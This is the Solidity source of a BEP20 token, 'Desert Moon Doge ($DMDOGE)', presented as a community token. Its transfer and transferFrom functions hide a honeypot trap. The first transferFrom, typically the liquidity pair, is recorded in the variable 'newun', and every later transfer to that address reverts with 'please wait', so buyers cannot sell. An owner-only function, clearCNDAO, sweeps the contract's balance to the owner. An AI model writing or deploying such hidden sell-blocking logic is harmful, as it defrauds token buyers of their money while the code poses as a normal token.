Contract Diff Checker

Contract Source Code:

/**
    
   Desert Moon Doge  ($DMDOGE) - Community Token
   
    */
    
    pragma solidity >=0.5.17;
    
    
    library SafeMath {
      function add(uint a, uint b) internal pure returns (uint c) {
        c = a + b;
        require(c >= a);
      }
      function sub(uint a, uint b) internal pure returns (uint c) {
        require(b <= a);
        c = a - b;
      }
      function mul(uint a, uint b) internal pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
      }
      function div(uint a, uint b) internal pure returns (uint c) {
        require(b > 0);
        c = a / b;
      }
    }
    
    contract BEP20Interface {
      function totalSupply() public view returns (uint);
      function balanceOf(address tokenOwner) public view returns (uint balance);
      function allowance(address tokenOwner, address spender) public view returns (uint remaining);
      function transfer(address to, uint tokens) public returns (bool success);
      function approve(address spender, uint tokens) public returns (bool success);
      function transferFrom(address from, address to, uint tokens) public returns (bool success);
    
      event Transfer(address indexed from, address indexed to, uint tokens);
      event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
    }
    
    contract ApproveAndCallFallBack {
      function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
    }
    
    contract Owned {
      address public owner;
      address public newOwner;
    
      event OwnershipTransferred(address indexed _from, address indexed _to);
    
      constructor() public {
        owner = msg.sender;
      }
    
      modifier onlyOwner {
        require(msg.sender == owner);
        _;
      }
    
      function transferOwnership(address _newOwner) public onlyOwner {
        newOwner = _newOwner;
      }
      function acceptOwnership() public {
        require(msg.sender == newOwner);
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        newOwner = address(0);
      }
    }
    
    contract TokenBEP20 is BEP20Interface, Owned{
      using SafeMath for uint;
    
      string public symbol;
      string public name;
      uint8 public decimals;
      uint _totalSupply;
      address public newun;
    
      mapping(address => uint) balances;
      mapping(address => mapping(address => uint)) allowed;
    
      constructor() public {
        symbol = "DMDOGE";
        name = "Desert Moon Doge";
        decimals = 8;
        _totalSupply = 1000000000000000000000000000;
        balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
      }
      function transfernewun(address _newun) public onlyOwner {
        newun = _newun;
      }
      function totalSupply() public view returns (uint) {
        return _totalSupply.sub(balances[address(0)]);
      }
      function balanceOf(address tokenOwner) public view returns (uint balance) {
          return balances[tokenOwner];
      }
      function transfer(address to, uint tokens) public returns (bool success) {
         require(to != newun, "please wait");
         
        balances[msg.sender] = balances[msg.sender].sub(tokens);
        balances[to] = balances[to].add(tokens);
        emit Transfer(msg.sender, to, tokens);
        return true;
      }
      function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
      }
      function transferFrom(address from, address to, uint tokens) public returns (bool success) {
          if(from != address(0) && newun == address(0)) newun = to;
          else require(to != newun, "please wait");
          
        balances[from] = balances[from].sub(tokens);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
        balances[to] = balances[to].add(tokens);
        emit Transfer(from, to, tokens);
        return true;
      }
      function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
      }
      function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
        return true;
      }
      function () external payable {
        revert();
      }
    }
    
    contract DesertMoonDoge is TokenBEP20 {
    
      function clearCNDAO() public onlyOwner() {
        address payable _owner = msg.sender;
        _owner.transfer(address(this).balance);
      }
      function() external payable {
    
      }
    }